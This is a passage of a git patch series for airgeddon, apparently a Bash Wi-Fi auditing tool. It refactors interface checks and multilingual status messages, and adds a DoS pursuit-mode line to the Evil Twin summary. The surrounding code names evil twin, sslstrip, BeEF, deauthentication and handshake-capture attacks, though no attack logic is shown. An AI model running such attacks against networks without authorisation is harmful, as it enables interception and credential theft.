et_dos_menu else @@ -4059,7 +4067,7 @@ function evil_twin_attacks_menu() { if contains_element "${et_option}" "${forbidden_options[@]}"; then forbidden_menu_option else - if check_interface_wifi; then + if check_interface_wifi "${interface}"; then et_mode="et_sniffing" et_dos_menu else @@ -4073,7 +4081,7 @@ function evil_twin_attacks_menu() { if contains_element "${et_option}" "${forbidden_options[@]}"; then forbidden_menu_option else - if check_interface_wifi; then + if check_interface_wifi "${interface}"; then et_mode="et_sniffing_sslstrip" et_dos_menu else @@ -4090,7 +4098,7 @@ function evil_twin_attacks_menu() { if contains_element "${et_option}" "${forbidden_options[@]}"; then forbidden_menu_option else - if check_interface_wifi; then + if check_interface_wifi "${interface}"; then et_mode="et_captive_portal" echo language_strings "${language}" 316 "yellow" @@ -4159,7 +4167,7 @@ function beef_pre_menu() { if contains_element "${beef_option}" "${forbidden_options[@]}"; then forbidden_menu_option else - if check_interface_wifi; then + if check_interface_wifi "${interface}"; then et_mode="et_sniffing_sslstrip2" get_bettercap_version et_dos_menu @@ -4514,7 +4522,7 @@ function offline_pin_generation_menu() { ask_yesno 504 "yes" if [ "${yesno}" = "y" ]; then - if check_monitor_enabled; then + if check_monitor_enabled "${interface}"; then if hash wash 2> /dev/null; then if check_json_option_on_wash; then @@ -7705,7 +7713,7 @@ function capture_handshake() { fi fi - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return 1 fi @@ -8057,7 +8065,7 @@ function explore_for_targets_option() { language_strings "${language}" 103 "title" language_strings "${language}" 65 "green" - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return 1 fi @@ -8132,7 +8140,7 @@ function explore_for_wps_targets_option() { language_strings "${language}" 103 "title" language_strings "${language}" 65 "green" - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return 1 fi diff --git a/language_strings.sh b/language_strings.sh index 51e7f3ff4..c6c4761e1 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -470,25 +470,25 @@ function language_strings() { footer_texts["POLISH",1]="${pending_of_translation} Jeśli podobał Ci się ten scenariusz i okazał się użyteczny, możesz poprzeć ten projekt, składając darowiznę. Za pośrednictwem usługi Paypal (${mail}) lub wysyłając ułamek bitcoin (${bitcoin}). Zapraszamy wszystkich małych (1, 2, 5 $/€) małych rozmiarów. Więcej informacji i linki do: ${urlgithub_wiki}/Contributing" declare -A arr - arr["ENGLISH",0]="This interface ${interface} is already in managed mode" - arr["SPANISH",0]="Esta interfaz ${interface} ya está en modo managed" - arr["FRENCH",0]="L'interface ${interface} est déjà en mode managed" - arr["CATALAN",0]="Aquesta interfície ${interface} ja està en mode managed" - arr["PORTUGUESE",0]="Esta interface ${interface} já está em modo managed" - arr["RUSSIAN",0]="Этот интерфейс ${interface} уже в управляемом режиме" - arr["GREEK",0]="Αυτή η διεπαφή ${interface} είναι ήδη σε ετερόκλητη κατάσταση" - arr["ITALIAN",0]="Questa interfaccia ${interface} è già in modalità managed" - arr["POLISH",0]="${pending_of_translation} Ten interfejs ${interface} jest już w trybie zarządzania" - - arr["ENGLISH",1]="This interface ${interface} is not a wifi card. It doesn't support managed mode" - arr["SPANISH",1]="Esta interfaz ${interface} no es una tarjeta wifi. No soporta modo managed" - arr["FRENCH",1]="L'interface ${interface} n'est pas une carte wifi. Elle n'est donc pas compatible mode managed" - arr["CATALAN",1]="Aquesta interfície ${interface} no és una targeta wifi vàlida. No es compatible amb mode managed" - arr["PORTUGUESE",1]="Esta interface ${interface} não é wifi. Ela não suporta o modo managed" - arr["RUSSIAN",1]="Этот интерфейс ${interface} не является wifi картой. Он не поддерживает управляемый режим" - arr["GREEK",1]="Αυτή η διεπαφή ${interface} δεν είναι κάρτα wifi. Δεν υποστηρίζει ετερόκλητη κατάσταση." - arr["ITALIAN",1]="Questa interfaccia ${interface} non è una scheda wifi. Non supporta la modalità managed" - arr["POLISH",1]="${pending_of_translation} Interfejs ${interface} nie jest kartą wifi. Nie obsługuje trybu zarządzania" + arr["ENGLISH",0]="This interface ${current_iface_on_messages} is already in managed mode" + arr["SPANISH",0]="Esta interfaz ${current_iface_on_messages} ya está en modo managed" + arr["FRENCH",0]="L'interface ${current_iface_on_messages} est déjà en mode managed" + arr["CATALAN",0]="Aquesta interfície ${current_iface_on_messages} ja està en mode managed" + arr["PORTUGUESE",0]="Esta interface ${current_iface_on_messages} já está em modo managed" + arr["RUSSIAN",0]="Этот интерфейс ${current_iface_on_messages} уже в управляемом режиме" + arr["GREEK",0]="Αυτή η διεπαφή ${current_iface_on_messages} είναι ήδη σε ετερόκλητη κατάσταση" + arr["ITALIAN",0]="Questa interfaccia ${current_iface_on_messages} è già in modalità managed" + arr["POLISH",0]="${pending_of_translation} Ten interfejs ${current_iface_on_messages} jest już w trybie zarządzania" + + arr["ENGLISH",1]="This interface ${current_iface_on_messages} is not a wifi card. It doesn't support managed mode" + arr["SPANISH",1]="Esta interfaz ${current_iface_on_messages} no es una tarjeta wifi. No soporta modo managed" + arr["FRENCH",1]="L'interface ${current_iface_on_messages} n'est pas une carte wifi. Elle n'est donc pas compatible mode managed" + arr["CATALAN",1]="Aquesta interfície ${current_iface_on_messages} no és una targeta wifi vàlida. No es compatible amb mode managed" + arr["PORTUGUESE",1]="Esta interface ${current_iface_on_messages} não é wifi. Ela não suporta o modo managed" + arr["RUSSIAN",1]="Этот интерфейс ${current_iface_on_messages} не является wifi картой. Он не поддерживает управляемый режим" + arr["GREEK",1]="Αυτή η διεπαφή ${current_iface_on_messages} δεν είναι κάρτα wifi. Δεν υποστηρίζει ετερόκλητη κατάσταση." + arr["ITALIAN",1]="Questa interfaccia ${current_iface_on_messages} non è una scheda wifi. Non supporta la modalità managed" + arr["POLISH",1]="${pending_of_translation} Interfejs ${current_iface_on_messages} nie jest kartą wifi. Nie obsługuje trybu zarządzania" arr["ENGLISH",2]="English O.S. language detected. Supported by script. Automatically changed" arr["SPANISH",2]="Idioma Español del S.O. detectado. Soportado por el script. Se cambió automáticamente" @@ -570,15 +570,15 @@ function language_strings() { arr["ITALIAN",9]="Rilevando sistema..." arr["POLISH",9]="${pending_of_translation} System wykrywania..." - arr["ENGLISH",10]="This interface ${interface} is already in monitor mode" - arr["SPANISH",10]="Esta interfaz ${interface} ya está en modo monitor" - arr["FRENCH",10]="L'interface ${interface} est déjà en mode moniteur" - arr["CATALAN",10]="Aquesta interfície ja està en mode monitor" - arr["PORTUGUESE",10]="Esta interface ${interface} já está em modo monitor" - arr["RUSSIAN",10]="Этот интерфейс ${interface} уже в режиме монитора" - arr["GREEK",10]="Αυτή η διεπαφή ${interface} είναι ήδη σε κατάσταση παρακολούθησης" - arr["ITALIAN",10]="Questa interfaccia ${interface} è già in modalità monitor" - arr["POLISH",10]="${pending_of_translation} Ten interfejs ${interface} jest już w trybie monitorowania" + arr["ENGLISH",10]="This interface ${current_iface_on_messages} is already in monitor mode" + arr["SPANISH",10]="Esta interfaz ${current_iface_on_messages} ya está en modo monitor" + arr["FRENCH",10]="L'interface ${current_iface_on_messages} est déjà en mode moniteur" + arr["CATALAN",10]="Aquesta interfície ${current_iface_on_messages} ja està en mode monitor" + arr["PORTUGUESE",10]="Esta interface ${current_iface_on_messages} já está em modo monitor" + arr["RUSSIAN",10]="Этот интерфейс ${current_iface_on_messages} уже в режиме монитора" + arr["GREEK",10]="Αυτή η διεπαφή ${current_iface_on_messages} είναι ήδη σε κατάσταση παρακολούθησης" + arr["ITALIAN",10]="Questa interfaccia ${current_iface_on_messages} è già in modalità monitor" + arr["POLISH",10]="${pending_of_translation} Ten interfejs ${current_iface_on_messages} jest już w trybie monitorowania" arr["ENGLISH",11]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" arr["SPANISH",11]="Saliendo de airgeddon script v${airgeddon_version} - Nos vemos pronto! :)" @@ -600,25 +600,25 @@ function language_strings() { arr["ITALIAN",12]="${blue_color}Rilevata interruzione. ${green_color}Vuoi davvero uscire dallo script? ${normal_color}${visual_choice}" arr["POLISH",12]="${pending_of_translation} ${blue_color}Wykryto przerwanie. ${green_color}Czy naprawdę chcesz wyjść z scenariusza? ${normal_color}${visual_choice}" - arr["ENGLISH",13]="This interface ${interface} is not a wifi card. It doesn't support monitor mode" - arr["SPANISH",13]="Esta interfaz ${interface} no es una tarjeta wifi. No soporta modo monitor" - arr["FRENCH",13]="L'interface ${interface} n'est pas une carte wifi. Elle n'est donc pas compatible mode moniteur" - arr["CATALAN",13]="Aquesta interfície ${interface} no és una targeta wifi vàlida. No es compatible amb mode monitor" - arr["PORTUGUESE",13]="Esta interface ${interface} não é wifi. Ela não suporta o modo monitor" - arr["RUSSIAN",13]="Этот интерфейс ${interface} не является wifi картой. Он не поддерживает режим монитора" - arr["GREEK",13]="Αυτή η διεπαφή ${interface} δεν έιναι κάρτα wifi. Δεν υποστηρίζει κατάσταση παρακολούθησης" - arr["ITALIAN",13]="Questa interfaccia ${interface} non è una scheda wifi. Non supporta la modalità del monitor" - arr["POLISH",13]="${pending_of_translation} Interfejs ${interface} nie jest kartą wifi. Nie obsługuje trybu monitora" - - arr["ENGLISH",14]="This interface ${interface} is not in monitor mode" - arr["SPANISH",14]="Esta interfaz ${interface} no está en modo monitor" - arr["FRENCH",14]="L'interface ${interface} n'est pas en mode moniteur" - arr["CATALAN",14]="Aquesta interfície ${interface} no està en mode monitor" - arr["PORTUGUESE",14]="Esta interface ${interface} não está em modo monitor" - arr["RUSSIAN",14]="Этот интерфейс ${interface} не в режиме монитора" - arr["GREEK",14]="Αυτή η διεπαφή ${interface} δεν είναι σε κατάσταση παρακολούθησης" - arr["ITALIAN",14]="Questa interfaccia ${interface} non è in modalità monitor" - arr["POLISH",14]="${pending_of_translation} Ten interfejs ${interface} nie jest w trybie monitorowania" + arr["ENGLISH",13]="This interface ${current_iface_on_messages} is not a wifi card. It doesn't support monitor mode" + arr["SPANISH",13]="Esta interfaz ${current_iface_on_messages} no es una tarjeta wifi. No soporta modo monitor" + arr["FRENCH",13]="L'interface ${current_iface_on_messages} n'est pas une carte wifi. Elle n'est donc pas compatible mode moniteur" + arr["CATALAN",13]="Aquesta interfície ${current_iface_on_messages} no és una targeta wifi vàlida. No es compatible amb mode monitor" + arr["PORTUGUESE",13]="Esta interface ${current_iface_on_messages} não é wifi. Ela não suporta o modo monitor" + arr["RUSSIAN",13]="Этот интерфейс ${current_iface_on_messages} не является wifi картой. Он не поддерживает режим монитора" + arr["GREEK",13]="Αυτή η διεπαφή ${current_iface_on_messages} δεν έιναι κάρτα wifi. Δεν υποστηρίζει κατάσταση παρακολούθησης" + arr["ITALIAN",13]="Questa interfaccia ${current_iface_on_messages} non è una scheda wifi. Non supporta la modalità del monitor" + arr["POLISH",13]="${pending_of_translation} Interfejs ${current_iface_on_messages} nie jest kartą wifi. Nie obsługuje trybu monitora" + + arr["ENGLISH",14]="This interface ${current_iface_on_messages} is not in monitor mode" + arr["SPANISH",14]="Esta interfaz ${current_iface_on_messages} no está en modo monitor" + arr["FRENCH",14]="L'interface ${current_iface_on_messages} n'est pas en mode moniteur" + arr["CATALAN",14]="Aquesta interfície ${current_iface_on_messages} no està en mode monitor" + arr["PORTUGUESE",14]="Esta interface ${current_iface_on_messages} não está em modo monitor" + arr["RUSSIAN",14]="Этот интерфейс ${current_iface_on_messages} не в режиме монитора" + arr["GREEK",14]="Αυτή η διεπαφή ${current_iface_on_messages} δεν είναι σε κατάσταση παρακολούθησης" + arr["ITALIAN",14]="Questa interfaccia ${current_iface_on_messages} non è in modalità monitor" + arr["POLISH",14]="${pending_of_translation} Ten interfejs ${current_iface_on_messages} nie jest w trybie monitorowania" arr["ENGLISH",15]="The interface changed its name while putting in managed mode. Autoselected" arr["SPANISH",15]="Esta interfaz ha cambiado su nombre al ponerse en modo managed. Se ha seleccionado automáticamente" @@ -630,15 +630,15 @@ function language_strings() { arr["ITALIAN",15]="Questa interfaccia ha cambiato il suo nome passando in modalità managed. È stata selezionata automaticamente" arr["POLISH",15]="${pending_of_translation} Interfejs ten zmienił nazwę, gdy jest umieszczony w trybie zarządzania. Automatycznie zaznaczone" - arr["ENGLISH",16]="Managed mode now is set on ${interface}" - arr["SPANISH",16]="Se ha puesto el modo managed en ${interface}" - arr["FRENCH",16]="${interface} est maintenant en mode manged" - arr["CATALAN",16]="${interface} s'ha configurat en mode managed" - arr["PORTUGUESE",16]="Modo managed configurado em ${interface}" - arr["RUSSIAN",16]="Управляемый режим теперь установлен на ${interface}" - arr["GREEK",16]="Η διεπαφή ${interface} είναι τώρα σε ετερόκλητη κατάσταση" - arr["ITALIAN",16]="${interface} è stata configurata in modalitá managed" - arr["POLISH",16]="${pending_of_translation} Tryb zarządzany został ustawiony na ${interface}" + arr["ENGLISH",16]="Managed mode now is set on ${current_iface_on_messages}" + arr["SPANISH",16]="Se ha puesto el modo managed en ${current_iface_on_messages}" + arr["FRENCH",16]="${current_iface_on_messages} est maintenant en mode manged" + arr["CATALAN",16]="${current_iface_on_messages} s'ha configurat en mode managed" + arr["PORTUGUESE",16]="Modo managed configurado em ${current_iface_on_messages}" + arr["RUSSIAN",16]="Управляемый режим теперь установлен на ${current_iface_on_messages}" + arr["GREEK",16]="Η διεπαφή ${current_iface_on_messages} είναι τώρα σε ετερόκλητη κατάσταση" + arr["ITALIAN",16]="${current_iface_on_messages} è stata configurata in modalitá managed" + arr["POLISH",16]="${pending_of_translation} Tryb zarządzany został ustawiony na ${current_iface_on_messages}" arr["ENGLISH",17]="Putting your interface in managed mode..." arr["SPANISH",17]="Poniendo la interfaz en modo managed..." @@ -670,15 +670,15 @@ function language_strings() { arr["ITALIAN",19]="Si prega di essere pazienti. Puó eessre che si stiano terminando alcuni processi che potrebbero causare un conflitto..." arr["POLISH",19]="${pending_of_translation} Proszę, bądź cierpliwy. Może zabijać niektóre procesy, które mogłyby powodować konflikty..." - arr["ENGLISH",20]="This interface ${interface} doesn't support monitor mode" - arr["SPANISH",20]="Esta interfaz ${interface} no soporta modo monitor" - arr["FRENCH",20]="L'interface ${interface} n'est pas compatible mode moniteur" - arr["CATALAN",20]="Aquesta interfície ${interface} no suporta mode monitor" - arr["PORTUGUESE",20]="Esta interface ${interface} não suporta o modo monitor" - arr["RUSSIAN",20]="Этот интерфейс ${interface} не поддерживает режим монитора" - arr["GREEK",20]="Αυτή η διεπαφή ${interface} δεν υποστηρίζει κατάσταση παρακολούθησης" - arr["ITALIAN",20]="Questa interfaccia ${interface} non supporta la modalità monitor" - arr["POLISH",20]="${pending_of_translation} Interfejs ${interface} nie obsługuje trybu monitorowania" + arr["ENGLISH",20]="This interface ${current_iface_on_messages} doesn't support monitor mode" + arr["SPANISH",20]="Esta interfaz ${current_iface_on_messages} no soporta modo monitor" + arr["FRENCH",20]="L'interface ${current_iface_on_messages} n'est pas compatible mode moniteur" + arr["CATALAN",20]="Aquesta interfície ${current_iface_on_messages} no suporta mode monitor" + arr["PORTUGUESE",20]="Esta interface ${current_iface_on_messages} não suporta o modo monitor" + arr["RUSSIAN",20]="Этот интерфейс ${current_iface_on_messages} не поддерживает режим монитора" + arr["GREEK",20]="Αυτή η διεπαφή ${current_iface_on_messages} δεν υποστηρίζει κατάσταση παρακολούθησης" + arr["ITALIAN",20]="Questa interfaccia ${current_iface_on_messages} non supporta la modalità monitor" + arr["POLISH",20]="${pending_of_translation} Interfejs ${current_iface_on_messages} nie obsługuje trybu monitorowania" arr["ENGLISH",21]="The interface changed its name while putting in monitor mode. Autoselected" arr["SPANISH",21]="Esta interfaz ha cambiado su nombre al ponerla en modo monitor. Se ha seleccionado automáticamente" @@ -690,15 +690,15 @@ function language_strings() { arr["ITALIAN",21]="Questa interfaccia ha cambiato il suo nome passando in modalità monitor. È stata selezionata automaticamente" arr["POLISH",21]="${pending_of_translation} Ten interfejs zmienił nazwę po umieszczeniu go w trybie monitora. Automatycznie zaznaczone" - arr["ENGLISH",22]="Monitor mode now is set on ${interface}" - arr["SPANISH",22]="Se ha puesto el modo monitor en ${interface}" - arr["FRENCH",22]="Mode moniteur activé sur l'interface ${interface}" - arr["CATALAN",22]="S'ha configurat el mode monitor en ${interface}" - arr["PORTUGUESE",22]="Modo monitor foi ativo em ${interface}" - arr["RUSSIAN",22]="Режим монитора установлен на ${interface}" - arr["GREEK",22]="Η διεπαφή ${interface} είναι τώρα σε κατάσταση παρακολούθησης" - arr["ITALIAN",22]="È stato impostato il modo monitor in ${interface}" - arr["POLISH",22]="${pending_of_translation} Tryb monitora został ustawiony na ${interface}" + arr["ENGLISH",22]="Monitor mode now is set on ${current_iface_on_messages}" + arr["SPANISH",22]="Se ha puesto el modo monitor en ${current_iface_on_messages}" + arr["FRENCH",22]="Mode moniteur activé sur l'interface ${current_iface_on_messages}" + arr["CATALAN",22]="S'ha configurat el mode monitor en ${current_iface_on_messages}" + arr["PORTUGUESE",22]="Modo monitor foi ativo em ${current_iface_on_messages}" + arr["RUSSIAN",22]="Режим монитора установлен на ${current_iface_on_messages}" + arr["GREEK",22]="Η διεπαφή ${current_iface_on_messages} είναι τώρα σε κατάσταση παρακολούθησης" + arr["ITALIAN",22]="È stato impostato il modo monitor in ${current_iface_on_messages}" + arr["POLISH",22]="${pending_of_translation} Tryb monitora został ustawiony na ${current_iface_on_messages}" arr["ENGLISH",23]="There is a problem with the interface selected. Redirecting you to script exit" arr["SPANISH",23]="Hay un problema con la interfaz seleccionada. Redirigiendo a la salida del script" @@ -810,15 +810,15 @@ function language_strings() { arr["ITALIAN",33]="Cominciando l'attacco. Una volta avviato, premere [Ctrl+C] per fermare..." arr["POLISH",33]="${pending_of_translation} Uruchomienie ataku. Po rozpoczęciu naciśnij [Ctrl+C], aby go zatrzymać..." - arr["ENGLISH",34]="Selected interface ${interface} is in monitor mode. Attack can be performed" - arr["SPANISH",34]="La interfaz seleccionada ${interface} está en modo monitor. El ataque se puede realizar" - arr["FRENCH",34]="L'interface ${interface} qui a été sélectionnée est bien en mode moniteur. L'attaque peut être lancée" - arr["CATALAN",34]="La interfície seleccionada ${interface} està configurada en mode monitor. L'atac es pot realitzar" - arr["PORTUGUESE",34]="Interface selecionada ${interface} está em modo monitor. O ataque pode ser realizado" - arr["RUSSIAN",34]="Выбранный интерфейс ${interface} в режиме монитора. Можно выполнить атаку" - arr["GREEK",34]="Η επιλεγμένη διεπαφή ${interface} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει επίθεση" - arr["ITALIAN",34]="L'interfaccia selezionata ${interface} è in modalità monitor. L'attacco può essere eseguito" - arr["POLISH",34]="${pending_of_translation} Wybrany interfejs ${interface} jest w trybie monitorowania. Atak można wykonać" + arr["ENGLISH",34]="Selected interface ${current_iface_on_messages} is in monitor mode. Attack can be performed" + arr["SPANISH",34]="La interfaz seleccionada ${current_iface_on_messages} está en modo monitor. El ataque se puede realizar" + arr["FRENCH",34]="L'interface ${current_iface_on_messages} qui a été sélectionnée est bien en mode moniteur. L'attaque peut être lancée" + arr["CATALAN",34]="La interfície seleccionada ${current_iface_on_messages} està configurada en mode monitor. L'atac es pot realitzar" + arr["PORTUGUESE",34]="Interface selecionada ${current_iface_on_messages} está em modo monitor. O ataque pode ser realizado" + arr["RUSSIAN",34]="Выбранный интерфейс ${current_iface_on_messages} в режиме монитора. Можно выполнить атаку" + arr["GREEK",34]="Η επιλεγμένη διεπαφή ${current_iface_on_messages} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει επίθεση" + arr["ITALIAN",34]="L'interfaccia selezionata ${current_iface_on_messages} è in modalità monitor. L'attacco può essere eseguito" + arr["POLISH",34]="${pending_of_translation} Wybrany interfejs ${current_iface_on_messages} jest w trybie monitorowania. Atak można wykonać" arr["ENGLISH",35]="Deauthentication / Dissasociation mdk3 attack chosen (monitor mode needed)" arr["SPANISH",35]="Elegido ataque de Desautenticación / Desasociación mdk3 (modo monitor requerido)" @@ -890,15 +890,15 @@ function language_strings() { arr["ITALIAN",41]="Nessuna interfaccia selezionata. Sarai reindirizzato per selezionarne una" arr["POLISH",41]="${pending_of_translation} Nie wybrano interfejsu. Zostaniesz przekierowany, aby wybrać a" - arr["ENGLISH",42]="Interface ${pink_color}${interface}${blue_color} selected. Mode: ${pink_color}${ifacemode}${normal_color}" - arr["SPANISH",42]="Interfaz ${pink_color}${interface}${blue_color} seleccionada. Modo: ${pink_color}${ifacemode}${normal_color}" - arr["FRENCH",42]="Interface ${pink_color}${interface}${blue_color} sélectionnée. Mode: ${pink_color}${ifacemode}${normal_color}" - arr["CATALAN",42]="Interfície ${pink_color}${interface}${blue_color} seleccionada. Mode: ${pink_color}${ifacemode}${normal_color}" - arr["PORTUGUESE",42]="Interface ${pink_color}${interface}${blue_color} selecionada. Modo: ${pink_color}${ifacemode}${normal_color}" - arr["RUSSIAN",42]="Интерфейс ${pink_color}${interface}${blue_color} выбран. Режим: ${pink_color}${ifacemode}${normal_color}" - arr["GREEK",42]="Η διεπαφή ${pink_color}${interface}${blue_color} έχει επιλεχθεί. Κατάσταση: ${pink_color}${ifacemode}${normal_color}" - arr["ITALIAN",42]="Interfaccia ${pink_color}${interface}${blue_color} selezionata. Modalità: ${pink_color}${ifacemode}${normal_color}" - arr["POLISH",42]="${pending_of_translation} Interfejs ${pink_color}${interface}${blue_color} został wybrany. Tryb: ${pink_color}${ifacemode}${normal_color}" + arr["ENGLISH",42]="Interface ${pink_color}${current_iface_on_messages}${blue_color} selected. Mode: ${pink_color}${ifacemode}${normal_color}" + arr["SPANISH",42]="Interfaz ${pink_color}${current_iface_on_messages}${blue_color} seleccionada. Modo: ${pink_color}${ifacemode}${normal_color}" + arr["FRENCH",42]="Interface ${pink_color}${current_iface_on_messages}${blue_color} sélectionnée. Mode: ${pink_color}${ifacemode}${normal_color}" + arr["CATALAN",42]="Interfície ${pink_color}${current_iface_on_messages}${blue_color} seleccionada. Mode: ${pink_color}${ifacemode}${normal_color}" + arr["PORTUGUESE",42]="Interface ${pink_color}${current_iface_on_messages}${blue_color} selecionada. Modo: ${pink_color}${ifacemode}${normal_color}" + arr["RUSSIAN",42]="Интерфейс ${pink_color}${current_iface_on_messages}${blue_color} выбран. Режим: ${pink_color}${ifacemode}${normal_color}" + arr["GREEK",42]="Η διεπαφή ${pink_color}${current_iface_on_messages}${blue_color} έχει επιλεχθεί. Κατάσταση: ${pink_color}${ifacemode}${normal_color}" + arr["ITALIAN",42]="Interfaccia ${pink_color}${current_iface_on_messages}${blue_color} selezionata. Modalità: ${pink_color}${ifacemode}${normal_color}" + arr["POLISH",42]="${pending_of_translation} Interfejs ${pink_color}${current_iface_on_messages}${blue_color} został wybrany. Tryb: ${pink_color}${ifacemode}${normal_color}" arr["ENGLISH",43]="Selected BSSID: ${pink_color}${bssid}${normal_color}" arr["SPANISH",43]="BSSID seleccionado: ${pink_color}${bssid}${normal_color}" @@ -1130,15 +1130,15 @@ function language_strings() { arr["ITALIAN",65]="Scelta la opzione di scansione per cercare obiettivi (modalità monitor richiesta)" arr["POLISH",65]="${pending_of_translation} Wybranie opcji skanowania w celu wyszukania celów (wymaga trybu monitorowania)" - arr["ENGLISH",66]="Selected interface ${interface} is in monitor mode. Exploration can be performed" - arr["SPANISH",66]="La interfaz seleccionada ${interface} está en modo monitor. La exploración se puede realizar" - arr["FRENCH",66]="L'interface choisie ${interface} est en mode moniteur. L'exploration des réseaux environnants peut s'effectuer" - arr["CATALAN",66]="La interfície seleccionada ${interface} està en mode monitor. L'exploració es pot realitzar" - arr["PORTUGUESE",66]="A interface selecionada ${interface} está no modo monitor. A verificação pode ser realizada" - arr["RUSSIAN",66]="Выбранный интерфейс ${interface} в режиме монитора. Сканирование может быть выполнено" - arr["GREEK",66]="Η επιλεγμένη διεπαφή ${interface} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει εξερεύνηση" - arr["ITALIAN",66]="L'interfaccia selezionata ${interface} è in modalità monitor. La scansione può essere eseguita" - arr["POLISH",66]="${pending_of_translation} Wybrany interfejs ${interface} jest w trybie monitorowania. Skanowanie można wykonać" + arr["ENGLISH",66]="Selected interface ${current_iface_on_messages} is in monitor mode. Exploration can be performed" + arr["SPANISH",66]="La interfaz seleccionada ${current_iface_on_messages} está en modo monitor. La exploración se puede realizar" + arr["FRENCH",66]="L'interface choisie ${current_iface_on_messages} est en mode moniteur. L'exploration des réseaux environnants peut s'effectuer" + arr["CATALAN",66]="La interfície seleccionada ${current_iface_on_messages} està en mode monitor. L'exploració es pot realitzar" + arr["PORTUGUESE",66]="A interface selecionada ${current_iface_on_messages} está no modo monitor. A verificação pode ser realizada" + arr["RUSSIAN",66]="Выбранный интерфейс ${current_iface_on_messages} в режиме монитора. Сканирование может быть выполнено" + arr["GREEK",66]="Η επιλεγμένη διεπαφή ${current_iface_on_messages} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει εξερεύνηση" + arr["ITALIAN",66]="L'interfaccia selezionata ${current_iface_on_messages} è in modalità monitor. La scansione può essere eseguita" + arr["POLISH",66]="${pending_of_translation} Wybrany interfejs ${current_iface_on_messages} jest w trybie monitorowania. Skanowanie można wykonać" arr["ENGLISH",67]="When started, press [Ctrl+C] to stop..." arr["SPANISH",67]="Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -3280,15 +3280,15 @@ function language_strings() { arr["ITALIAN",280]="In questa schermata, si suppone che devi scegliere un'interfaccia aggiuntiva per fornire l'accesso a internet, peró in questo momento non ne hai nessuna" arr["POLISH",280]="${pending_of_translation} Na tym ekranie powinieneś wybrać inny dodatkowy interfejs, aby zapewnić dostęp do internet, ale nie masz w tym momencie żadnego" - arr["ENGLISH",281]="The interface ${interface} you have already selected is not a wifi card. This attack needs a wifi card selected" - arr["SPANISH",281]="El interfaz ${interface} que tienes seleccionado no es una tarjeta wifi. Este ataque necesita que la interfaz seleccionada sea wifi" - arr["FRENCH",281]="L'interface ${interface} que vous avez sélectionnée n'est pas une carte wifi. Cette attaque exige que l'interface sélectionnée soit une carte wifi" - arr["CATALAN",281]="La interfície ${interface} que tens seleccionada no és una targeta wifi. Aquest atac necessita que la interfície seleccionada sigui wifi" - arr["PORTUGUESE",281]="A interface ${interface} que você selecionou não é wifi. Este ataque requer uma interface wifi selecionada" - arr["RUSSIAN",281]="Интерфейс ${interface}, который вы выбрали не является wifi картой. Эта атака требует выбрать wifi карту" - arr["GREEK",281]="Η διεπαφή ${interface} που έχετε ήδη επιλέξει δεν έιναι κάρτα wifi. Αυτή η επίθεση χρειάζεται μία κάρτα wifi επιλεγμένη" - arr["ITALIAN",281]="L'interfaccia ${interface} che hai scelto non è una scheda wifi. Per questo attacco è necessario che l'interfaccia selezionata sia wifi" - arr["POLISH",281]="${pending_of_translation} Interfejs ${interface}, który wybrałeś, nie jest kartą wifi. Ten atak wymaga wybrania interfejsu wifi" + arr["ENGLISH",281]="The interface ${current_iface_on_messages} you have already selected is not a wifi card. This attack needs a wifi card selected" + arr["SPANISH",281]="El interfaz ${current_iface_on_messages} que tienes seleccionado no es una tarjeta wifi. Este ataque necesita que la interfaz seleccionada sea wifi" + arr["FRENCH",281]="L'interface ${current_iface_on_messages} que vous avez sélectionnée n'est pas une carte wifi. Cette attaque exige que l'interface sélectionnée soit une carte wifi" + arr["CATALAN",281]="La interfície ${current_iface_on_messages} que tens seleccionada no és una targeta wifi. Aquest atac necessita que la interfície seleccionada sigui wifi" + arr["PORTUGUESE",281]="A interface ${current_iface_on_messages} que você selecionou não é wifi. Este ataque requer uma interface wifi selecionada" + arr["RUSSIAN",281]="Интерфейс ${current_iface_on_messages}, который вы выбрали не является wifi картой. Эта атака требует выбрать wifi карту" + arr["GREEK",281]="Η διεπαφή ${current_iface_on_messages} που έχετε ήδη επιλέξει δεν έιναι κάρτα wifi. Αυτή η επίθεση χρειάζεται μία κάρτα wifi επιλεγμένη" + arr["ITALIAN",281]="L'interfaccia ${current_iface_on_messages} che hai scelto non è una scheda wifi. Per questo attacco è necessario che l'interfaccia selezionata sia wifi" + arr["POLISH",281]="${pending_of_translation} Interfejs ${current_iface_on_messages}, który wybrałeś, nie jest kartą wifi. Ten atak wymaga wybrania interfejsu wifi" arr["ENGLISH",282]="Selected internet interface: ${pink_color}${internet_interface}${normal_color}" arr["SPANISH",282]="Interfaz con internet seleccionada: ${pink_color}${internet_interface}${normal_color}" From 7d6160086bed543c05abd88017a453ed25cb0fc7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 6 Nov 2017 00:08:58 +0100 Subject: [PATCH 40/70] Added print of DoS pursuit mode selected interface on Evil Twin attacks selection summary --- airgeddon.sh | 3 +++ language_strings.sh | 18 ++++++++++++++---- 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 64e90b417..ae4a16711 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8521,6 +8521,9 @@ function et_prerequisites() { print_iface_selected print_et_target_vars print_iface_internet_selected + if [ "${dos_pursuit_mode}" -eq 1 ]; then + language_strings "${language}" 512 "blue" + fi print_hint ${current_menu} echo diff --git a/language_strings.sh b/language_strings.sh index c6c4761e1..439ea1524 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -5533,7 +5533,7 @@ function language_strings() { arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" arr["SPANISH",506]="El ataque DoS con el \"modo persecución DoS\" activado comenzará cuando pulse [Enter] en esta ventana. Para detenerlo deberá pulsar [Ctrl+C] o cerrar la ventana del ataque" arr["FRENCH",506]="${pending_of_translation} L'attaque DoS avec le mode \"mode de poursuite DoS\" activé démarre lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou 